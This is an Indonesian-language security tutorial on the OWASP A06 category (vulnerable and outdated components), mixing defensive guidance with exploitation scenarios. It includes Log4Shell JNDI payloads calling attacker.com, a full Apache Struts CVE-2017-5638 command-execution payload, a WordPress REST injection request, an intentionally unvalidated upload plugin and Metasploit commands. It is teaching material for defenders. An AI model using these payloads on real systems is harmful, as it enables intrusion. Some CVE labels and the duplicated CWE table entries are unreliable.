A06 - Vulnerable and Outdated Components (Komponen yang Rentan dan Usang)
Definisi
Vulnerable and Outdated Components adalah kerentanan yang muncul ketika sebuah aplikasi menggunakan komponen perangkat lunak (library, framework, plugin, modul) yang memiliki celah keamanan yang sudah diketahui publik (CVE - Common Vulnerabilities and Exposures). Ini termasuk penggunaan versi lama dari software yang sudah tidak mendapat patch keamanan, serta ketergantungan pada komponen yang tidak terawat atau tidak dikenal sumbernya.
OWASP Top 10 2021 menempatkan kerentanan ini di peringkat ke-6, meningkat dari peringkat ke-9 di edisi 2017, menandakan semakin meningkatnya ancaman dari supply chain attacks. Hampir semua aplikasi modern menggunakan puluhan hingga ratusan dependency - dan setiap dependency bisa menjadi titik masuk bagi attacker.
Ciri-ciri komponen yang rentan meliputi:
- Versi lawas: Menggunakan versi software yang sudah memiliki CVE publik
- End of Life (EOL): Software sudah tidak mendapat dukungan keamanan dari vendor
- Unmaintained: Repository tidak aktif, tidak ada patch untuk kerentanan yang diketahui
- Unknown source: Plugin atau library dari sumber tidak resmi/tidak diverifikasi
- Salah versi: Menggunakan versi beta/development di produksi
- Excessive dependencies: Terlalu banyak dependency yang tidak diperlukan
- No inventory: Tim tidak memiliki daftar komponen yang digunakan
Dampak
Dampak dari vulnerable components bisa sangat serius karena attacker bisa menggunakan eksploitasi yang sudah siap pakai:
| Dampak | Contoh |
|---|---|
| Remote Code Execution (RCE) | Apache Struts (CVE-2017-5638), Log4Shell (CVE-2021-44228) |
| Data Breach | Equifax breach via Apache Struts - 147 juta data terkena dampak |
| Denial of Service | Library compression yang rentan DoS |
| Privilege Escalation | Session management library dengan celah |
| SSRF | cURL library dengan CVE tertentu |
| SQL Injection | ORM lama dengan celah injeksi |
| Full System Takeover | Kombinasi beberapa CVE pada komponen berbeda |
Contoh Kode
Contoh 1: Menggunakan Library dengan CVE Diketahui
// package.json - Aplikasi Node.js dengan library rentan
{
"name": "vulnerable-app",
"version": "1.0.0",
"dependencies": {
"express": "^4.15.0", // Versi lawas - banyak CVE
"lodash": "^4.16.0", // CVE-2018-3721, CVE-2019-10744
"jquery": "^1.12.0", // jQuery 1.x - sudah EOL
"moment": "^2.18.0", // Moment.js - sudah deprecated
"request": "^2.81.0", // Request.js - deprecated!
"ejs": "^2.5.0", // EJS - CVE-2022-29078 (RCE)
"validator": "^9.0.0", // CVE-2020-13650
"sequelize": "^4.37.0", // Banyak SQL injection di versi lama
"passport": "^0.4.0", // CVE-2020-8238
"multer": "^1.3.0" // CVE-2020-7699
}
}
Contoh 2: Vulnerable Python Dependencies
# requirements.txt - Dependencies rentan
flask==0.12.2 # CVE-2018-1000656 - DoS via crafted JSON
django==1.11.29 # CVE-2020-13596 - SQL injection
requests==2.18.4 # CVE-2018-18074 - SSRF
urllib3==1.22 # CVE-2018-20060 - DoS
cryptography==2.3 # CVE-2018-10903 - Padding oracle
boto3==1.7.0 # CVE-2019-1400 - Credential exposure
pyyaml==3.13 # CVE-2020-14343 - Arbitrary code execution
pillow==4.3.0 # CVE-2018-16509 - RCE via ghostscript
Contoh 3: WordPress dengan Plugin Rentan
<?php
/*
Plugin Name: Custom File Upload
Version: 1.0.0 - Versi lama, tidak ada security check
Author: Unknown Developer
*/
// File upload tanpa validasi - CVE yang sudah diketahui
function custom_file_upload() {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['file']['name']; // Tidak disanitasi
$file_tmp = $_FILES['file']['tmp_name'];
// Tidak ada validasi ekstensi, MIME type, atau ukuran file
move_uploaded_file($file_tmp, $upload_dir['path'] . '/' . $file_name);
return 'File uploaded!';
}
add_action('wp_ajax_nopriv_upload', 'custom_file_upload');
Contoh 4: Mengelola Dependencies dengan Aman
# requirements-safe.txt - Dependencies yang telah divalidasi
# Gunakan pinning versi spesifik, bukan range
flask==2.3.3
django==5.0.1
requests==2.32.0
urllib3==2.2.0
cryptography==41.0.3
pyyaml==6.0.1
pillow==10.1.0
# Gunakan hash verification
# --hash=sha256:xxxx... untuk memverifikasi integritas package
# Gunakan pip dengan hash checking
pip install --require-hashes -r requirements.txt
Skenario Eksploitasi
Skenario 1: Eksploitasi Log4Shell (CVE-2021-44228)
Log4j adalah library logging Java yang sangat populer. CVE-2021-44228 adalah critical RCE yang memengaruhi Log4j versi 2.0 hingga 2.14.1.
Langkah eksploitasi:
- Deteksi versi: Attacker menemukan aplikasi menggunakan Apache Log4j
- Craft payload: Mengirim string khusus ke server target
- Trigger JNDI lookup: Log4j melakukan lookup ke server attacker
- Download malware: Server target mendownload dan mengeksekusi payload dari server attacker
# Payload Log4Shell sederhana
${jndi:ldap://attacker.com/exploit}
# Melalui HTTP header
curl -H 'User-Agent: ${jndi:ldap://attacker.com/a}' https://target.com
# Melalui form input
curl -X POST https://target.com/login \
-d 'username=${jndi:ldap://attacker.com/a}&password=test'
# Cek apakah server vulnerable
curl -H 'User-Agent: ${jndi:ldap://your-collaborator.net/test}' https://target.com
Skenario 2: Eksploitasi Apache Struts (CVE-2017-5638)
Kerentanan ini digunakan dalam serangan Equifax yang mengekspos data 147 juta orang.
# Payload untuk CVE-2017-5638
Content-Type: %{(#_='multipart/form-data').
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}
# Eksekusi
curl -X POST https://target.com/struts2-showcase/fileupload.action \
-H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Skenario 3: Deteksi dan Eksploitasi dengan Nuclei
# Scan dengan Nuclei untuk mendeteksi komponen rentan
nuclei -u https://target.com -t cves/ -severity critical,high
# Scan spesifik untuk Log4j
nuclei -u https://target.com -t exposures/configs/log4j/
# Scan untuk WordPress plugin lama
nuclei -u https://target.com -t technlogies/wordpress/
# Output ke file
nuclei -u https://target.com -t cves/ -o vulnerable_components.txt
Skenario 4: Deteksi dengan Wappalyzer dan Shodan
# Menggunakan curl untuk mengecek server header
curl -I https://target.com
# Response:
# Server: Apache/2.4.7 (Ubuntu)
# X-Powered-By: PHP/5.5.9
# Cek versi dari file umum
curl -s https://target.com/wp-content/plugins/akismet/akismet.php | head -1
curl -s https://target.com/readme.html | grep -i version
curl -s https://target.com/changelog.txt | head -10
Pencegahan
1. Software Inventory Management
# sbom-software-bill-of-materials.yaml
# Software Bill of Materials (SBOM) - Daftar semua komponen
application: vulnerable-app
version: 2.1.0
components:
- name: express
version: 4.18.2
license: MIT
last_audit: 2024-01-15
cve_known: false
update_available: false
- name: lodash
version: 4.17.21
license: MIT
last_audit: 2024-01-15
cve_known: false
update_available: false
- name: django
version: 5.0.1
license: BSD-3
last_audit: 2024-01-15
cve_known: false
update_available: false
2. Vulnerability Scanning Otomatis
# .github/workflows/vulnerability-scan.yml
name: Vulnerability Scan
on:
schedule:
- cron: '0 6 * * 1' # Setiap Senin jam 6 pagi
push:
branches: [main, develop]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Python dependencies
- name: Scan Python with Safety
run: |
pip install safety
safety check -r requirements.txt --full-report
# Node.js dependencies
- name: Scan Node with npm audit
run: |
npm audit --audit-level=high
# Full SCA scan
- name: Snyk Scan
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
with:
args: --severity-threshold=high
# Dependency review on PR
- name: Dependency Review
uses: actions/dependency-review-action@v3
if: github.event_name == 'pull_request'
3. Update Script Otomatis
#!/bin/bash
# update-dependencies.sh - Script update dependencies aman
echo "=== UPDATE DEPENDENCIES ==="
# Fungsi untuk update Python packages dengan aman
update_python() {
echo "[Python] Memeriksa outdated packages..."
pip list --outdated --format=columns
echo "[Python] Update package dengan aman..."
# Update satu per satu dan test
for package in $(pip list --outdated --format=freeze | cut -d= -f1); do
echo " Mengupdate $package..."
pip install --upgrade "$package" 2>/dev/null
if python -m pytest tests/ -q --tb=short 2>/dev/null; then
echo " ✓ $package berhasil diupdate"
else
echo " ✗ $package gagal test, rollback..."
pip install "$package==$(pip list --outdated --format=columns | grep $package | awk '{print $2}')"
fi
done
}
# Fungsi untuk update Node packages
update_node() {
echo "[Node.js] Memeriksa vulnerabilities..."
npm audit
echo "[Node.js] Mengupdate packages..."
npm update
echo "[Node.js] Fix vulnerabilities otomatis..."
npm audit fix
# Cek apakah masih ada vulnerability
if npm audit --audit-level=high | grep -q "high"; then
echo "⚠️ Masih ada high severity vulnerabilities. Perlu manual review."
npm audit --json | jq '.vulnerabilities | to_entries[] | select(.value.severity=="high" or .value.severity=="critical") | {name: .key, severity: .value.severity, cve: .value.cves[0]}'
fi
}
update_python
update_node
echo "=== UPDATE SELESAI ==="
4. Checklist Pencegahan
- Buat SBOM (Software Bill of Materials) - dokumentasi semua dependency
- Gunakan SCA tools - Snyk, Dependabot, Renovate, OWASP Dependency-Check
- Update rutin - jadwalkan update dependency secara berkala (bulanan/mingguan)
- Pantau CVE database - subscribe ke NVD, GitHub Advisories, OSV.dev
- Hapus dependency tidak terpakai - kurangi attack surface
- Gunakan versi pinned - jangan gunakan range version (^, ~) yang longgar
- Verifikasi integritas - gunakan checksum/SHA256 verification
- Gunakan private registry - mirror package dari sumber tepercaya
- Review pull request dependency - jangan auto-merge update dependency
- Monitor EOL software - jangan gunakan software yang sudah End of Life
- Container scanning - scan Docker images dengan Trivy atau Clair
- Vendor assessment - evaluasi keamanan vendor library pihak ketiga
5. Tools untuk Vulnerability Scanning
| Tool | Fungsi | Bahasa/Lingkungan |
|---|---|---|
| OWASP Dependency-Check | SCA untuk Java, .NET, Python, Ruby | Multi-platform |
| Snyk | SCA komersial dengan database luas | Multi-language |
| Dependabot | Auto-update dependency di GitHub | GitHub-native |
| Renovate | Auto-update dependency | Multi-platform |
| Nuclei | Template-based vulnerability scanner | Web/Network |
| Trivy | Container dan filesystem scanner | Container, OS |
| Safety | Python dependency checker | Python |
| npm audit / yarn audit | Node.js dependency checker | Node.js |
| Grype | Vulnerability scanner untuk container | Container |
| Black Duck | SCA enterprise | Multi-platform |
CWE Mapping
| CWE ID | Nama | Deskripsi |
|---|---|---|
| CWE-1104 | Use of Unmaintained Third-Party Components | Menggunakan komponen pihak ketiga yang sudah tidak terawat atau tidak mendapat update keamanan. Ini adalah CWE utama untuk kerentanan A06. |
| CWE-937 | Using Components with Known Vulnerabilities | Menggunakan komponen yang memiliki CVE yang sudah diketahui publik. |
| CWE-1035 | Using Components with Known Vulnerabilities (OWASP Top Ten) | Kategori spesifik OWASP untuk komponen dengan kerentanan yang diketahui. |
| CWE-1104 | Use of Unmaintained Third-Party Components | Komponen yang tidak lagi mendapat dukungan atau patch keamanan. |
| CWE-1117 | Use of Unmaintained Third-Party Components | Sub-kategori untuk komponen yang ditinggalkan. |
| CWE-829 | Inclusion of Functionality from Untrusted Control Sphere | Memasukkan fungsionalitas dari sumber yang tidak tepercaya. |
| CWE-494 | Download of Code Without Integrity Check | Mendownload kode tanpa verifikasi integritas. |
Lab Terkait
1. WordPress 4.7 - Content Injection
- Deskripsi: WordPress 4.7 memiliki kerentanan content injection (CVE-2017-1001000) yang memungkinkan unauthenticated user memodifikasi konten posting
- Endpoint:
/wp-json/wp/v2/posts/- REST API endpoint - Eksploitasi: Akses REST API tanpa autentikasi untuk injection
- Tools: curl, python script, Metasploit
# Deteksi versi WordPress
curl -s https://target.com/readme.html | grep "Version"
# Eksploitasi REST API injection
curl -X POST https://target.com/wp-json/wp/v2/posts \
-H "Content-Type: application/json" \
-d '{"id": 1, "title": "Hacked!", "content": "Pwned via CVE-2017-1001000"}'
2. WordPress 5.0 - Privilege Escalation via RCE
- Deskripsi: WordPress 5.0 dengan plugin yang rentan
- Eksploitasi: Menggunakan Metasploit untuk WordPress exploit
- Tools: Metasploit framework
# Menggunakan Metasploit
msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 > set RHOSTS target.com
msf6 > set USERNAME admin
msf6 > set PASSWORD password123
msf6 > run
3. Metasploitable 2
- Deskripsi: VM yang sengaja dibuat rentan dengan berbagai komponen lawas
- Komponen rentan:
- Apache 2.2.8 (CVE-2008-2939, dll)
- PHP 5.2.4 (banyak CVE)
- MySQL 5.0.51a (CVE lama)
- Tomcat 5.5 (default credentials)
- distcc (CVE-2004-2687 - RCE)
- Tools: Nmap, Metasploit, Hydra, Nikto
# Scan komponen di Metasploitable 2
nmap -sV -p- 192.168.1.10
# Hasilnya akan menunjukkan banyak service lawas:
# 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
# 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
# 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
# Eksploitasi via Metasploit
msfconsole
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 > set RHOSTS 192.168.1.10
msf6 > set RPORT 8180
msf6 > set HttpUsername tomcat
msf6 > set HttpPassword tomcat
msf6 > run
4. OWASP WebGoat - Challenge A06
- Deskripsi: WebGoat memiliki lesson khusus untuk vulnerable components
- Challenge: Menemukan dan mengeksploitasi library yang rentan
- Endpoint: Bervariasi tergantung challenge
Kesimpulan
Vulnerable and Outdated Components merupakan ancaman serius karena:
- Prevalensi tinggi: Hampir semua aplikasi menggunakan dependency pihak ketiga
- Eksploitasi mudah: CVE publik sudah memiliki PoC (Proof of Concept) exploit
- Dampak besar: Dari RCE hingga data breach berskala besar
- Supply chain risk: Satu komponen rentan bisa memengaruhi ribuan aplikasi
Pendekatan terbaik adalah proaktif: buat SBOM, lakukan scanning rutin, update secara disiplin, dan verifikasi sumber komponen. Jangan menunggu sampai ada CVE yang mengekspos aplikasi Anda.